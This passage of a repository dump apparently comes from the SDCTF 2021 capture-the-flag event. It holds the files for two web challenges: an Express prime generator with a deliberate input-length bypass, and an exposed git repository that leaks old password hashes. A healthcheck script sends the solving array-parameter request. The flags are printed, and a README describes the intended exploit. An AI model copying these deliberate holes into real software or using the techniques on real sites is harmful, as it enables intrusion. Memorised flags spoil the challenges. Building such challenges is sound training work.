29 | COPY index.html . 30 | COPY run.sh . 31 | 32 | FROM gcr.io/kctf-docker/challenge@sha256:6dd60da626bc43bf3175d9d7436006db5acc7710d5d1b7006ab53e718fe51e40 as prod_env 33 | RUN apt-get update \ 34 | && apt-get install -yq --no-install-recommends \ 35 | curl ca-certificates socat gnupg lsb-release \ 36 | && curl -fsSL https://deb.nodesource.com/setup_lts.x | bash - \ 37 | && apt-get install -yq --no-install-recommends nodejs \ 38 | && rm -rf /var/lib/apt/lists/* 39 | 40 | FROM prod_env 41 | COPY --from=chroot / /chroot 42 | COPY web-servers.nsjail.cfg /home/user/web-servers.nsjail.cfg 43 | 44 | CMD kctf_setup \ 45 | && kctf_drop_privs nsjail --config /home/user/web-servers.nsjail.cfg --port 1337 -- /app/run.sh -------------------------------------------------------------------------------- /web/gets-request/challenge/Makefile: -------------------------------------------------------------------------------- 1 | primegen: primegen.c 2 | -------------------------------------------------------------------------------- /web/gets-request/challenge/README.md: -------------------------------------------------------------------------------- 1 | # GETS Request 2 | 3 | **Category**: Web 4 | **Difficulty**: Medium 5 | **Author**: Aaron James 6 | 7 | ## Description 8 | 9 | Express.JS is an easy-to-use web framework, but Javascript/Typescript is too slow. C is a fast, low level language, but I was tired of debugging memory issues. Can I get the best out of both worlds by combining them? 10 | 11 | https://prime.sdc.tf 12 | 13 | > Attach `backend.js` to the prompt 14 | 15 | > players do NOT get primegen.c 16 | -------------------------------------------------------------------------------- /web/gets-request/challenge/index.js: -------------------------------------------------------------------------------- 1 | const spawn = require('child_process').spawn; 2 | 3 | const express = require('express'); 4 | const PORT = process.env.PORT || 8080; 5 | const app = express(); 6 | 7 | const BUFFER_SIZE = 8; 8 | 9 | app.get('/prime', (req, res) => { 10 | if(!req.query.n) { 11 | res.status(400).send('Missing required parameter n'); 12 | return; 13 | } 14 | 15 | if(req.query.n.length > BUFFER_SIZE) { 16 | res.status(400).send('Requested n too large!'); 17 | return; 18 | } 19 | 20 | let output = ''; 21 | const proc = spawn(__dirname + '/primegen'); 22 | proc.stdout.on('data', data => output += data.toString()); 23 | proc.on('exit', () => res.send(output)); 24 | 25 | // call our super-efficient native prime generator! 26 | proc.stdin.write(`${req.query.n}\n`); 27 | }) 28 | 29 | app.use('/', (req, res) => { 30 | res.sendFile(__dirname + '/index.html'); 31 | }); 32 | 33 | app.use('*', (req, res) => { 34 | res.status(404).send('Not Found'); 35 | }); 36 | 37 | app.listen(PORT, () => { 38 | console.log(`prime generator listening at http://localhost:${PORT}`) 39 | }) 40 | -------------------------------------------------------------------------------- /web/gets-request/challenge/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "gets-request", 3 | "version": "1.0.0", 4 | "description": "**Category**: Web **Difficulty**: Medium **Author**: Aaron James", 5 | "main": "index.js", 6 | "scripts": { 7 | "start": "node index.js" 8 | }, 9 | "author": "KNOXDEV", 10 | "license": "MIT", 11 | "dependencies": { 12 | "express": "^4.17.1" 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /web/gets-request/challenge/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Start node web server 4 | (&>/dev/null node /app/index.js)& 5 | 6 | # Proxy stdin/stdout to web server 7 | socat - TCP:127.0.0.1:8080,forever 8 | -------------------------------------------------------------------------------- /web/gets-request/challenge/web-servers.nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "apache2-proxy-nsjail" 18 | description: "Example nsjail configuration for containing a web server." 19 | 20 | mode: LISTEN 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | mount: [ 30 | { 31 | src: "/chroot" 32 | dst: "/" 33 | is_bind: true 34 | }, 35 | { 36 | src: "/dev" 37 | dst: "/dev" 38 | is_bind: true 39 | }, 40 | { 41 | src: "/dev/null" 42 | dst: "/dev/null" 43 | is_bind: true 44 | rw: true 45 | }, 46 | { 47 | src: "/etc/resolv.conf" 48 | dst: "/etc/resolv.conf" 49 | is_bind: true 50 | }, 51 | { 52 | dst: "/tmp" 53 | fstype: "tmpfs" 54 | rw: true 55 | } 56 | ] 57 | -------------------------------------------------------------------------------- /web/gets-request/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:06c6f051583b84d8dc4d77962256b7d1f1f247f405972e0649c821837b66c894 15 | RUN apt-get update \ 16 | && apt-get -yq --no-install-recommends install python3-pip \ 17 | && rm -rf /var/lib/apt/lists/* \ 18 | && python3 -m pip install requests 19 | 20 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 21 | 22 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 23 | -------------------------------------------------------------------------------- /web/gets-request/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /web/gets-request/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | 17 | import requests 18 | 19 | r = requests.get('http://localhost:1337/prime?n[]=aaaaaaaaaaaaaaaaaaaaaaaaa') 20 | 21 | if r.text == "buffer overflow! sdctf{B3$T_0f-b0TH_w0rLds}": 22 | print('passed health check') 23 | exit(0) 24 | 25 | exit(1) 26 | -------------------------------------------------------------------------------- /web/gets-request/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /web/gets-request/healthcheck/healthz_webserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | import http.server 17 | 18 | class HealthzHandler(http.server.BaseHTTPRequestHandler): 19 | def do_GET(self): 20 | if self.path != '/healthz': 21 | self.send_response(404) 22 | self.send_header("Content-length", "0") 23 | self.end_headers() 24 | return 25 | 26 | content = b'err' 27 | try: 28 | with open('/tmp/healthz', 'rb') as fd: 29 | content = fd.read().strip() 30 | except: 31 | pass 32 | self.send_response(200 if content == b'ok' else 400) 33 | self.send_header("Content-type", "text/plain") 34 | self.send_header("Content-length", str(len(content))) 35 | self.end_headers() 36 | self.wfile.write(content) 37 | 38 | httpd = http.server.HTTPServer(('', 45281), HealthzHandler) 39 | httpd.serve_forever() 40 | -------------------------------------------------------------------------------- /web/git-good/README.md: -------------------------------------------------------------------------------- 1 | # Git Good 2 | ## Web Exploitation - Medium 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | KNOXDEV | none | **eris** from **Team IRS** | 57 | 349 | 6 | 7 | ### prompt 8 | We've been issued a challenge by the primary competing cyber organization on campus, the Cybersecurity Group at UCSD. You have been granted permission to try and hack into their admin portal to steal their flag. They've been hardening their website for some time now, and they said they think its "unhackable". Show them how wrong they are! 9 | 10 | https://cgau.sdc.tf 11 | 12 | ### original specification 13 | Basically an exposed git repo on a webserver that allows the exfiltration of the program source code and database. Rolling back to an old commit allows the user to see an older version of the database containing weaker, crackable hashes. 14 | 15 | **flag**: `sdctf{1298754_Y0U_G07_g00D!}` 16 | ### writeups 17 | - https://0x0elliot.medium.com/git-good-a-web-ctf-dealing-with-broken-git-commits-f879163557f9 18 | - https://github.com/anandrajaram21/CTFs/blob/main/SanDiegoCTF/web/git-good/writeup.md 19 | - https://github.com/thewhitecircle/ctf_writeups/blob/main/sdctf_2021/web.md#git-good 20 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#Git-Good 21 | - https://github.com/wnfldchen/ctf/blob/main/sdctf21/git-good.md -------------------------------------------------------------------------------- /web/git-good/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: git-good 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | ports: 11 | - protocol: "HTTPS" 12 | targetPort: 1337 13 | healthcheck: 14 | # TIP: disable the healthcheck during development 15 | enabled: true 16 | image: eu.gcr.io/sdctf-2021/git-good-healthcheck:62c11626ebffc4da1d2d13af8646aa8854f86641e93a1edc43fa57b654d36f7b 17 | image: eu.gcr.io/sdctf-2021/git-good-challenge:7c19f7788862d52192f9c0fe2c80dccd6a2c26775dcb83487c4b3d51a5b097b3 18 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/COMMIT_EDITMSG: -------------------------------------------------------------------------------- 1 | Initial commit 2 | 3 | # Please enter the commit message for your changes. Lines starting 4 | # with '#' will be ignored, and an empty message aborts the commit. 5 | # 6 | # Author: Aaron 7 | # Date: Sat Jan 16 12:52:49 2021 -0800 8 | # 9 | # interactive rebase in progress; onto 337d75e 10 | # Last command done (1 command done): 11 | # edit 8c6becb Initial commit 12 | # Next command to do (1 remaining command): 13 | # pick 074a3c5 Upgraded to bcrypt 14 | # You are currently editing a commit while rebasing branch 'master' on '337d75e'. 15 | # 16 | # 17 | # Initial commit 18 | # 19 | # Changes to be committed: 20 | # new file: .gitignore 21 | # new file: admin.html 22 | # new file: app.js 23 | # new file: image1.png 24 | # new file: index.html 25 | # new file: package-lock.json 26 | # new file: package.json 27 | # new file: robots.txt 28 | # new file: users.db 29 | # 30 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/COMMIT_EDITMSG~: -------------------------------------------------------------------------------- 1 | Initial commit 2 | 3 | # Please enter the commit message for your changes. Lines starting 4 | # with '#' will be ignored, and an empty message aborts the commit. 5 | # 6 | # Author: Aaron 7 | # Date: Sat Jan 16 12:52:49 2021 -0800 8 | # 9 | # interactive rebase in progress; onto 337d75e 10 | # Last command done (1 command done): 11 | # edit 8c6becb Initial commit 12 | # Next command to do (1 remaining command): 13 | # pick 074a3c5 Upgraded to bcrypt 14 | # You are currently editing a commit while rebasing branch 'master' on '337d75e'. 15 | # 16 | # 17 | # Initial commit 18 | # 19 | # Changes to be committed: 20 | # new file: .gitignore 21 | # new file: admin.html 22 | # new file: app.js 23 | # new file: image1.png 24 | # new file: index.html 25 | # new file: package-lock.json 26 | # new file: package.json 27 | # new file: robots.txt 28 | # new file: users.db 29 | # 30 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/HEAD: -------------------------------------------------------------------------------- 1 | ref: refs/heads/master 2 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/ORIG_HEAD: -------------------------------------------------------------------------------- 1 | 074a3c50ffe09a15f394e038019e7ac9a250e351 2 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/config: -------------------------------------------------------------------------------- 1 | [core] 2 | repositoryformatversion = 0 3 | filemode = false 4 | bare = false 5 | logallrefupdates = true 6 | symlinks = false 7 | ignorecase = true 8 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/description: -------------------------------------------------------------------------------- 1 | Unnamed repository; edit this file 'description' to name the repository. 2 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/hooks/applypatch-msg.sample: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # An example hook script to check the commit log message taken by 4 | # applypatch from an e-mail message. 5 | # 6 | # The hook should exit with non-zero status after issuing an 7 | # appropriate message if it wants to stop the commit. The hook is 8 | # allowed to edit the commit message file. 9 | # 10 | # To enable this hook, rename this file to "applypatch-msg". 11 | 12 | . git-sh-setup 13 | commitmsg="$(git rev-parse --git-path hooks/commit-msg)" 14 | test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"} 15 | : 16 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/hooks/commit-msg.sample: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # An example hook script to check the commit log message. 4 | # Called by "git commit" with one argument, the name of the file 5 | # that has the commit message. The hook should exit with non-zero 6 | # status after issuing an appropriate message if it wants to stop the 7 | # commit. The hook is allowed to edit the commit message file. 8 | # 9 | # To enable this hook, rename this file to "commit-msg". 10 | 11 | # Uncomment the below to add a Signed-off-by line to the message. 12 | # Doing this in a hook is a bad idea in general, but the prepare-commit-msg 13 | # hook is more suited to it. 14 | # 15 | # SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') 16 | # grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" 17 | 18 | # This example catches duplicate Signed-off-by lines. 19 | 20 | test "" = "$(grep '^Signed-off-by: ' "$1" | 21 | sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || { 22 | echo >&2 Duplicate Signed-off-by lines. 23 | exit 1 24 | } 25 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/hooks/post-update.sample: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # An example hook script to prepare a packed repository for use over 4 | # dumb transports. 5 | # 6 | # To enable this hook, rename this file to "post-update". 7 | 8 | exec git update-server-info 9 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/hooks/pre-applypatch.sample: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # An example hook script to verify what is about to be committed 4 | # by applypatch from an e-mail message. 5 | # 6 | # The hook should exit with non-zero status after issuing an 7 | # appropriate message if it wants to stop the commit. 8 | # 9 | # To enable this hook, rename this file to "pre-applypatch". 10 | 11 | . git-sh-setup 12 | precommit="$(git rev-parse --git-path hooks/pre-commit)" 13 | test -x "$precommit" && exec "$precommit" ${1+"$@"} 14 | : 15 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/hooks/pre-merge-commit.sample: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # An example hook script to verify what is about to be committed. 4 | # Called by "git merge" with no arguments. The hook should 5 | # exit with non-zero status after issuing an appropriate message to 6 | # stderr if it wants to stop the merge commit. 7 | # 8 | # To enable this hook, rename this file to "pre-merge-commit". 9 | 10 | . git-sh-setup 11 | test -x "$GIT_DIR/hooks/pre-commit" && 12 | exec "$GIT_DIR/hooks/pre-commit" 13 | : 14 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/hooks/pre-push.sample: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # An example hook script to verify what is about to be pushed. Called by "git 4 | # push" after it has checked the remote status, but before anything has been 5 | # pushed. If this script exits with a non-zero status nothing will be pushed. 6 | # 7 | # This hook is called with the following parameters: 8 | # 9 | # $1 -- Name of the remote to which the push is being done 10 | # $2 -- URL to which the push is being done 11 | # 12 | # If pushing without using a named remote those arguments will be equal. 13 | # 14 | # Information about the commits which are being pushed is supplied as lines to 15 | # the standard input in the form: 16 | # 17 | # 18 | # 19 | # This sample shows how to prevent push of commits where the log message starts 20 | # with "WIP" (work in progress). 21 | 22 | remote="$1" 23 | url="$2" 24 | 25 | zero=$(git hash-object --stdin &2 "Found WIP commit in $local_ref, not pushing" 48 | exit 1 49 | fi 50 | fi 51 | done 52 | 53 | exit 0 54 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/hooks/pre-receive.sample: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # An example hook script to make use of push options. 4 | # The example simply echoes all push options that start with 'echoback=' 5 | # and rejects all pushes when the "reject" push option is used. 6 | # 7 | # To enable this hook, rename this file to "pre-receive". 8 | 9 | if test -n "$GIT_PUSH_OPTION_COUNT" 10 | then 11 | i=0 12 | while test "$i" -lt "$GIT_PUSH_OPTION_COUNT" 13 | do 14 | eval "value=\$GIT_PUSH_OPTION_$i" 15 | case "$value" in 16 | echoback=*) 17 | echo "echo from the pre-receive-hook: ${value#*=}" >&2 18 | ;; 19 | reject) 20 | exit 1 21 | esac 22 | i=$((i + 1)) 23 | done 24 | fi 25 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/index: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/index -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/info/exclude: -------------------------------------------------------------------------------- 1 | # git ls-files --others --exclude-from=.git/info/exclude 2 | # Lines that start with '#' are comments. 3 | # For a project mostly in C, the following would be a good set of 4 | # exclude patterns (uncomment them if you want to use them): 5 | # *.[oa] 6 | # *~ 7 | -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/03/145c6b6bb98bf14ea311903eaf3c58fa7cc9eb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/03/145c6b6bb98bf14ea311903eaf3c58fa7cc9eb -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/07/4a3c50ffe09a15f394e038019e7ac9a250e351: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/07/4a3c50ffe09a15f394e038019e7ac9a250e351 -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/0b/23360a5d79ecf5241fd6790edd619304825b9a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/0b/23360a5d79ecf5241fd6790edd619304825b9a -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/20/c9f02c6a89d4bdf1d6644b12e80e093bf63a3e: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/20/c9f02c6a89d4bdf1d6644b12e80e093bf63a3e -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/21/c3532b100a5f8566f5fc4c64f2a4486618a67e: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/21/c3532b100a5f8566f5fc4c64f2a4486618a67e -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/2c/55d1ca4ec7d827b7f4357436ca5ea4ee5327d1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/2c/55d1ca4ec7d827b7f4357436ca5ea4ee5327d1 -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/32/e65831b8ccdef0c8d181116c660e11233983f9: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/32/e65831b8ccdef0c8d181116c660e11233983f9 -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/33/7d75eb3210c609d764f47f6a114e39f5862ed9: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/33/7d75eb3210c609d764f47f6a114e39f5862ed9 -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/42/6ec68a64f6fe89ec40a3352213703792e080cb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/42/6ec68a64f6fe89ec40a3352213703792e080cb -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/6a/70ab0a4ef8f968750fc627fe248d30d066c8c2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/6a/70ab0a4ef8f968750fc627fe248d30d066c8c2 -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/6a/ab31640a322209ccd9e0e6eeab36ef65be0df0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/6a/ab31640a322209ccd9e0e6eeab36ef65be0df0 -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/7a/e9c92afc3f316fdd19dd37067d6140e2c16eb0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/7a/e9c92afc3f316fdd19dd37067d6140e2c16eb0 -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/7e/23e8d425a5f91a7f5e70d6c7cc6d7811db661d: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/7e/23e8d425a5f91a7f5e70d6c7cc6d7811db661d -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/84/f191442c8479c4cbd67937b9cbe3df2038be63: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/84/f191442c8479c4cbd67937b9cbe3df2038be63 -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/8c/6becb05e3afc355229310ba171b8c00fc2537e: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/8c/6becb05e3afc355229310ba171b8c00fc2537e -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/95/96c8286bedc6214c91e3efc2876efd41c6301e: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/95/96c8286bedc6214c91e3efc2876efd41c6301e -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/9a/55d593b0f12ff6f64a06094aa873690b8ceabd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/9a/55d593b0f12ff6f64a06094aa873690b8ceabd -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/a7/6c475d6b53daf7efe8396b494f5e09ab4abc91: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/a7/6c475d6b53daf7efe8396b494f5e09ab4abc91 -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/aa/c42f1d66b35b027d9538cfb3252473b08f11cd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/aa/c42f1d66b35b027d9538cfb3252473b08f11cd -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/b1/532f74e423381703e466520e99f9619a4ca334: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/b1/532f74e423381703e466520e99f9619a4ca334 -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/ce/86d86f4c3f5bd7a63136a2caaf76d57071d905: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/ce/86d86f4c3f5bd7a63136a2caaf76d57071d905 -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/d8/eb39e3e2bb984ce687768d20f58d962942841d: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/d8/eb39e3e2bb984ce687768d20f58d962942841d -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/objects/f9/d209848323a5fc22343961ca36e30417969b1d: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/.rename.me.git/objects/f9/d209848323a5fc22343961ca36e30417969b1d -------------------------------------------------------------------------------- /web/git-good/challenge/.rename.me.git/refs/heads/master: -------------------------------------------------------------------------------- 1 | 0b23360a5d79ecf5241fd6790edd619304825b9a 2 | -------------------------------------------------------------------------------- /web/git-good/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/challenge@sha256:6dd60da626bc43bf3175d9d7436006db5acc7710d5d1b7006ab53e718fe51e40 as base 15 | RUN apt-get update \ 16 | && apt-get install -yq --no-install-recommends \ 17 | curl ca-certificates socat gnupg lsb-release build-essential python \ 18 | && curl -fsSL https://deb.nodesource.com/setup_lts.x | bash - \ 19 | && apt-get install -yq --no-install-recommends nodejs \ 20 | && rm -rf /var/lib/apt/lists/* 21 | 